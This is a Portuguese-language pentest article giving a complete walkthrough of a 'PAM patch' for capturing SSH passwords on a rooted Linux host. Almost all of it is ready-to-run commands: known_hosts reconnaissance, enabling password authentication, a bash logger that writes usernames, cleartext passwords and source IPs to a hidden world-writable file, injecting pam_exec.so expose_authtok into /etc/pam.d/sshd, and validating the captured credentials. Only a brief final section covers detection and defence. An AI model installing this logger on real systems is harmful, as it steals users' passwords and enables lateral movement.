NT-2026.10.06 DOSSIÊ

PAM PATCH: CAPTURA DE CREDENCIAIS SSH NO LINUX VIA AUTENTICAÇÃO PAM

Walkthrough técnico de captura de credenciais SSH via PAM patch: recon com known_hosts, habilitação de PasswordAuthentication, script de logging, modificação de /etc/pam.d/sshd, reinício do serviço e validação com credenciais capturadas em /var/log/.authc.log.

Capa editorial PAM Patch: captura de credenciais SSH via autenticação PAM

Introdução: O Problema do Cracking Offline vs Captura em Tempo Real

Durante um pentest, quando se obtém acesso root a uma máquina Linux, o caminho tradicional para obter credenciais de outros usuários é extrair hashes do /etc/shadow e tentar quebrá-los offline. Isso exige GPU potente, tempo considerável e não há garantia de sucesso — hashes Linux (SHA-512, yescrypt) são significativamente mais resistentes que NTLM do Windows.

Além disso, hashes Linux não podem ser reutilizados diretamente em movimento lateral (pass-the-hash não funciona como no Windows). A técnica apresentada pela fonte — PAM patch — contorna esse problema capturando credenciais em texto claro no momento exato em que usuários legítimos autenticam via SSH.

Este artigo documenta o walkthrough completo publicado na fonte principal, explicando cada etapa: reconhecimento prévio via known_hosts, preparação do SSHD, criação do script de logging, injeção no PAM, ativação e validação.

Reconhecimento com Known Hosts

Antes de implementar a captura de credenciais, é fundamental entender a topologia de acesso da máquina comprometida. Clientes SSH armazenam hosts acessados anteriormente no arquivo known_hosts dentro do diretório .ssh de cada usuário.

cat /home/username/.ssh/known_hosts

Esses arquivos listam servidores aos quais o usuário já conectou — servidores Git, bastions, ambientes de staging, bancos de dados. Se a máquina comprometida está em um segmento de rede restrito, esses hosts podem residir em outras sub-redes ou atrás de controles de acesso inalcançáveis diretamente. Se o usuário reutiliza as mesmas credenciais nesses hosts, cada entrada no known_hosts torna-se um ponto de pivô lateral viável.

A fonte ilustra esse conceito com um exemplo prático: um host Git listado no known_hosts de um usuário comprometido pode ser o gateway para uma rede inteira anteriormente inacessível.

Banner do artigo PAM Patch: captura de credenciais SSH via PAM
Figura 1. Banner apresentando a técnica de PAM patch para captura de credenciais SSH durante pentest.
Exemplo de arquivo known_hosts SSH mostrando hosts acessados anteriormente
Figura 2. Arquivo known_hosts revelando hosts SSH acessados — potenciais alvos para pivô lateral.

Preparando o Host: Habilitando PasswordAuthentication

O SSHD pode ser configurado para proibir totalmente a autenticação por senha, aceitando apenas chaves públicas. Para que a captura de credenciais funcione, a autenticação por senha deve estar habilitada.

Edite o arquivo de configuração do SSH:

vim /etc/ssh/sshd_config

Localize ou adicione a diretiva:

PasswordAuthentication yes

Esta alteração é o pré-requisito fundamental — sem ela, o PAM nunca receberá uma senha para processar, e o script de logging não terá nada a capturar.

Edição do sshd_config habilitando PasswordAuthentication yes
Figura 3. Configuração do sshd_config: PasswordAuthentication yes habilitado para permitir autenticação por senha.

Criando o Script de Logging

Com a autenticação por senha habilitada, o próximo passo é criar o script que interceptará as credenciais. Com privilégios de root:

cat > /usr/local/bin/logc.sh << 'EOF'
#!/bin/bash
read -r PASS
echo "$(date) User: ${PAM_USER} Password: ${PASS} From: ${PAM_RHOST}" >> /var/log/.authc.log
exit 0
EOF

chmod 755 /usr/local/bin/logc.sh
touch /var/log/.authc.log
chmod 777 /var/log/.authc.log

Análise do script:

  • read -r PASS: lê a senha do stdin — isso só funciona porque o módulo PAM pam_exec.so será invocado com a opção expose_authtok, que passa a senha digitada via stdin para o script executado.
  • ${PAM_USER}: variável PAM com o nome do usuário que está autenticando.
  • ${PAM_RHOST}: variável PAM com o host/IP de origem da conexão SSH.
  • $(date): timestamp da tentativa.
  • >> /var/log/.authc.log: anexa ao arquivo de log (o ponto no nome o torna oculto em listagens padrão ls).
  • chmod 777: permissões amplas garantem que o PAM (rodando como root mas invocando o script no contexto da autenticação) consiga escrever no arquivo.
  • exit 0: crítico — como o módulo é configurado como optional, o script deve retornar sucesso (0) para não bloquear autenticações legítimas mesmo se houver erro de escrita no log.
Criação do script logc.sh e arquivo de log /var/log/.authc.log
Figura 4. Criação do script de logging PAM: logc.sh com expose_authtok e log file com permissões 777.

Aplicando o Patch no PAM

O mecanismo de autenticação PAM (Pluggable Authentication Modules) é configurado via arquivos em /etc/pam.d/. Para SSH especificamente, o arquivo alvo é /etc/pam.d/sshd. Para cobertura mais ampla (login local, su, sudo), poderiam ser alterados /etc/pam.d/common-auth (Debian/Ubuntu) ou /etc/pam.d/password-auth (RHEL/CentOS), mas a fonte foca no SSH.

O comando abaixo injeta a linha do pam_exec.so na primeira posição do arquivo, garantindo execução antes de qualquer outro módulo de autenticação:

grep -q logc.sh /etc/pam.d/sshd || sed -i '1i auth optional pam_exec.so expose_authtok /usr/local/bin/logc.sh' /etc/pam.d/sshd

head -5 /etc/pam.d/sshd

Decomposição da linha PAM:

  • auth: tipo de gerenciamento — autenticação (verificação de credenciais).
  • optional: controle — o resultado deste módulo não determina sucesso/falha da autenticação geral. Se o script falhar, a autenticação prossegue normalmente. Isso evita *denial of service* acidental.
  • pam_exec.so: módulo que executa um comando externo durante a autenticação.
  • expose_authtok: essencial — instrui o PAM a passar a senha (authentication token) via stdin para o comando executado. Sem isso, read -r PASS no script receberia entrada vazia.
  • /usr/local/bin/logc.sh: caminho absoluto do script de logging.

A verificação com head -5 confirma que a linha foi inserida no topo do arquivo.

Edição do /etc/pam.d/sshd inserindo pam_exec.so no topo
Figura 5. Patch PAM aplicado: pam_exec.so expose_authtok /usr/local/bin/logc.sh inserido na primeira linha de /etc/pam.d/sshd.

Aplicando e Testando o Patch

Para que as alterações no sshd_config e no PAM tenham efeito, o serviço SSH deve ser reiniciado:

grep -E '^PasswordAuthentication' /etc/ssh/sshd_config
systemctl restart ssh
systemctl is-active ssh

O primeiro comando confirma que PasswordAuthentication yes está ativo. O systemctl restart ssh recarrega a configuração do SSHD e, consequentemente, o PAM re-le o arquivo /etc/pam.d/sshd modificado. O systemctl is-active ssh valida que o serviço subiu corretamente.

Após o reinício, teste a captura autenticando-se via SSH com credenciais válidas a partir de outra máquina (ou localmente via ssh user@localhost). Qualquer tentativa de login — bem-sucedida ou não — passará pelo script de logging.

Reinício do serviço SSH e verificação de status ativo
Figura 6. Reinício do SSH via systemctl e confirmação de serviço ativo após aplicação do patch.

Validação: Credenciais Capturadas no Log

Após uma autenticação de teste, verifique o arquivo de log:

cat /var/log/.authc.log

A saída esperada segue o formato:

Tue Oct  6 14:32:15 UTC 2026 User: admin Password: SenhaSegura123 From: 192.168.1.50

Cada linha contém:

  1. Timestamp exato da tentativa ($(date)).
  2. Username (PAM_USER) — quem tentou autenticar.
  3. Senha em texto claro (PASS lido via expose_authtok) — a evidência principal.
  4. IP de origem (PAM_RHOST) — de onde veio a conexão, útil para correlacionar com *known_hosts* e mapear movimento lateral.

Importante: o log captura todas as tentativas, incluindo falhas. Um atacante pode identificar padrões de senhas, credenciais de contas de serviço, ou credenciais reutilizadas em outros sistemas. Ao longo do tempo, este arquivo se torna um repositório valioso de credenciais válidas para pós-exploração e movimento lateral.

Conteúdo do log /var/log/.authc.log mostrando credenciais capturadas
Figura 7. Log de credenciais capturadas: timestamp, username, password em texto claro e IP de origem (PAM_RHOST).

Considerações Finais e Limitações

A técnica de PAM patch para captura de credenciais SSH apresenta vantagens claras sobre cracking offline:

  • Sem cracking necessário: credenciais obtidas em texto claro no momento da autenticação.
  • Reutilização direta: senhas capturadas funcionam imediatamente para movimento lateral (diferente de hashes Linux).
  • Acúmulo passivo: o log cresce organicamente conforme usuários legítimos acessam o sistema.
  • Baixo ruído: a modificação é sutil — uma linha no PAM, um script discreto, um log oculto.

Limitações e detecção:

  • Requer acesso root prévio na máquina alvo.
  • Funciona apenas para autenticação por senha — chaves SSH (pubkey) não passam pelo pam_exec.so com expose_authtok.
  • PasswordAuthentication yes pode ser detectado por auditorias de hardening (CIS Benchmarks, Lynis).
  • Modificação de /etc/pam.d/sshd é detectável por monitoramento de integridade de arquivos (AIDE, Tripwire, Wazuh).
  • Log em /var/log/.authc.log com permissões 777 é um IOC (Indicator of Compromise) óbvio se descoberto.
  • Não persiste após atualização do pacote openssh-server ou pam que sobrescreva /etc/pam.d/sshd — para persistência, seria necessário hook no gerenciador de pacotes ou *systemd* drop-in.

Defesa: impor autenticação por chave pública (PasswordAuthentication no), monitorar alterações em /etc/pam.d/ e /etc/ssh/sshd_config, usar *FIDO2*/hardware keys, e auditar logs de autenticação anômalos (/var/log/auth.log, journalctl -u ssh).